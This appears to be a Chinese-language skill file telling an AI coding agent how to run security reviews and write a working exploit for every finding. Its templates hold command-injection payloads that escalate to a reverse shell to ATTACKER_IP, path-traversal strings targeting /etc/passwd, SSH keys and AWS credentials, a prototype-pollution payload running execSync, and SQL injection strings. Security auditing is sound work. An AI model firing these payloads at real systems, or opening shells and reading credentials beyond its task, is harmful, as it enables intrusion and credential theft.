security-review

安全审查与漏洞利用开发

概述

使用自动化工具和人工分析进行系统性安全审查，并为每个发现的问题编写可运行的概念验证漏洞利用。只有成功利用后，才能确认漏洞。

铁律

NO FINDING WITHOUT A WORKING EXPLOIT

怀疑存在漏洞毫无意义。你必须证明漏洞可被利用。

工作流

digraph security_review {
    "Start review" [shape=doublecircle];
    "Run automated scanners" [shape=box];
    "Manual code review" [shape=box];
    "Vulnerability found?" [shape=diamond];
    "Write exploit PoC" [shape=box];
    "Exploit works?" [shape=diamond];
    "Document with severity" [shape=box];
    "Mark as false positive" [shape=box];
    "More to review?" [shape=diamond];
    "Generate report" [shape=doublecircle];

    "Start review" -> "Run automated scanners";
    "Run automated scanners" -> "Manual code review";
    "Manual code review" -> "Vulnerability found?";
    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
    "Vulnerability found?" -> "More to review?" [label="no"];
    "Write exploit PoC" -> "Exploit works?";
    "Exploit works?" -> "Document with severity" [label="yes"];
    "Exploit works?" -> "Mark as false positive" [label="no"];
    "Document with severity" -> "More to review?";
    "Mark as false positive" -> "More to review?";
    "More to review?" -> "Vulnerability found?" [label="yes"];
    "More to review?" -> "Generate report" [label="no"];
}

阶段 1：自动化扫描

运行所有适用的工具。 不要因为“人工审查就够了”而跳过工具。

静态分析（SAST）

# Opengrep - Multi-language SAST (preferred over semgrep)
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .

# Bandit - Python security linter
bandit -r . -f json -o bandit-report.json

# ast-grep - Custom pattern matching (write rules for project-specific issues)
ast-grep scan --rule security-rules/

# ESLint security plugin (JS/TS)
npx eslint --plugin security --rule 'security/detect-child-process: error' .

# Gosec - Go security checker
gosec -fmt=json -out=gosec-report.json ./...

依赖项扫描（SCA）

# Trivy - Comprehensive vulnerability scanner
trivy fs --scanners vuln,secret,misconfig .

# Grype - Fast vulnerability scanner
grype dir:. -o json > grype-report.json

# pip-audit - Python dependencies
pip-audit --format=json -o pip-audit.json

# npm audit - Node.js dependencies
npm audit --json > npm-audit.json

# govulncheck - Go dependencies
govulncheck ./...

密钥检测

# Gitleaks - Find secrets in git history
gitleaks detect --source . --report-path gitleaks-report.json

# Trufflehog - Deep secret scanning
trufflehog filesystem . --json > trufflehog-report.json

容器／基础设施

# Trivy for containers
trivy image --severity HIGH,CRITICAL <image-name>

# Checkov for IaC
checkov -d . --framework terraform,kubernetes,dockerfile

阶段 2：人工代码审查

按严重程度从高到低，重点关注以下漏洞类别：

严重：注入漏洞

类型	查找模式	Grep 命令
命令注入	exec、spawn、system、eval	grep -rn "exec|spawn|system|eval|Function(" --include="*.ts" --include="*.js"
SQL 注入	查询中的字符串拼接	grep -rn "query.*\+" --include="*.ts"
路径遍历	未经验证就调用 readFile、resolve	grep -rn "readFileSync|readFile|resolve" --include="*.ts"
模板注入	在模板中使用用户输入	grep -rn "render|template" --include="*.ts"

高：身份验证／授权

类型	查找模式
缺少身份验证检查	未使用中间件的路由
硬编码凭据	代码中的 password、secret、key
弱加密	md5、sha1、Math.random

中：数据泄露

类型	查找模式
日志中的敏感数据	包含用户数据的 console.log、logger
错误消息泄露	将完整堆栈跟踪返回给客户端
不安全的存储	配置文件中的凭据

阶段 3：漏洞利用开发

每个漏洞都必须有可运行的漏洞利用。

命令注入漏洞利用模板

// exploit-cmd-injection.ts
import { execSync } from 'child_process'

const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'

// Test payloads - escalate from detection to impact
const payloads = [
  // Detection: Does injection work?
  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },

  // Information gathering
  { input: '$(whoami)', detect: /\w+/ },
  { input: '$(id)', detect: /uid=/ },

  // File read
  { input: '$(cat /etc/passwd)', detect: 'root:' },

  // Reverse shell (for authorized pentests only)
  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
]

async function exploit() {
  for (const { input, detect } of payloads) {
    const response = await fetch(VULNERABLE_ENDPOINT, {
      method: 'POST',
      body: JSON.stringify({ files: [input] }),
    })
    const result = await response.text()

    if (detect && result.match(detect)) {
      console.log(`[+] Payload worked: ${input}`)
      console.log(`[+] Output: ${result}`)
    }
  }
}

路径遍历漏洞利用模板

// exploit-path-traversal.ts
const traversalPayloads = [
  '../../../etc/passwd',
  '....//....//....//etc/passwd',
  '/etc/passwd',
  '/proc/self/environ',  // Leaks environment variables
  '/home/user/.ssh/id_rsa',
  '/home/user/.aws/credentials',
]

async function exploitPathTraversal(endpoint: string) {
  for (const payload of traversalPayloads) {
    const response = await fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ files: [payload] }),
    })
    const result = await response.text()

    if (result.includes('root:') || result.includes('AWS_')) {
      console.log(`[+] Path traversal successful: ${payload}`)
      return result
    }
  }
}

依赖项漏洞利用模板

// exploit-dependency.ts
// When a vulnerable dependency is found, search for:
// 1. Public exploits: searchsploit, exploit-db, GitHub
// 2. CVE details for exploitation steps

// Example: Exploiting known prototype pollution
const payload = {
  "__proto__": { "admin": true }
}

// Example: Exploiting known RCE in library
const rcePayload = {
  "constructor": {
    "prototype": {
      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
    }
  }
}

SQL 注入漏洞利用模板

// exploit-sqli.ts
const sqlPayloads = [
  // Detection
  "' OR '1'='1",
  "1; SELECT 1--",

  // Union-based extraction
  "' UNION SELECT username,password FROM users--",

  // Time-based blind
  "'; WAITFOR DELAY '0:0:5'--",
  "' AND SLEEP(5)--",

  // Error-based extraction
  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
]

阶段 4：严重程度分类

严重程度	标准	示例
严重	RCE、系统完全失陷、绕过身份验证	命令注入、可获取管理员权限的 SQL 注入
高	重大数据泄露、权限提升	可读取敏感文件的路径遍历、IDOR
中	有限的数据泄露、DoS	错误消息泄露、资源耗尽
低	轻微信息泄露	版本信息泄露、缺少安全标头

报告模板

## Finding: [Vulnerability Name]

**Severity:** Critical/High/Medium/Low
**Location:** `file.ts:42`
**CWE:** CWE-XXX

### Description
[What is the vulnerability and why it's dangerous]

### Vulnerable Code
```typescript
// The vulnerable code snippet

概念验证

# Command to exploit
curl -X POST http://target/api -d '{"payload": "$(id)"}'

结果：

uid=1000(user) gid=1000(user) groups=1000(user)

影响

• 攻击者能够达成什么目的
• 面临风险的数据
• 业务影响

修复措施

// Fixed code

参考资料

• CVE-XXXX-XXXXX
• OWASP 参考资料

## Tool Installation

```bash
# Install all security tools
pip install opengrep bandit pip-audit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
go install golang.org/x/vuln/cmd/govulncheck@latest

# Trivy
brew install trivy  # macOS
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Grype
brew install grype  # macOS
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh

# Gitleaks
brew install gitleaks  # macOS
# or: go install github.com/gitleaks/gitleaks/v8@latest

# ast-grep
npm install -g @ast-grep/cli

危险信号——立即停止

如果你发现自己在想：

• “这看起来可疑，但我会记下来而不进行测试”——立即停止。先编写漏洞利用。
• “人工审查就够了，工具没必要”——立即停止。运行工具。
• “漏洞利用一目了然，不需要验证”——立即停止。执行并证明。
• “我会跳过依赖项扫描，代码审查已经涵盖了”——立即停止。运行 SCA 工具。

快速参考

工具	用途	命令
opengrep	多语言 SAST	opengrep scan --config=auto .
bandit	Python SAST	bandit -r .
trivy	漏洞和密钥扫描	trivy fs .
grype	依赖项漏洞扫描	grype dir:.
gitleaks	密钥检测	gitleaks detect --source .
govulncheck	Go 依赖项	govulncheck ./...
pip-audit	Python 依赖项	pip-audit
npm audit	Node 依赖项	npm audit
ast-grep	自定义模式	ast-grep scan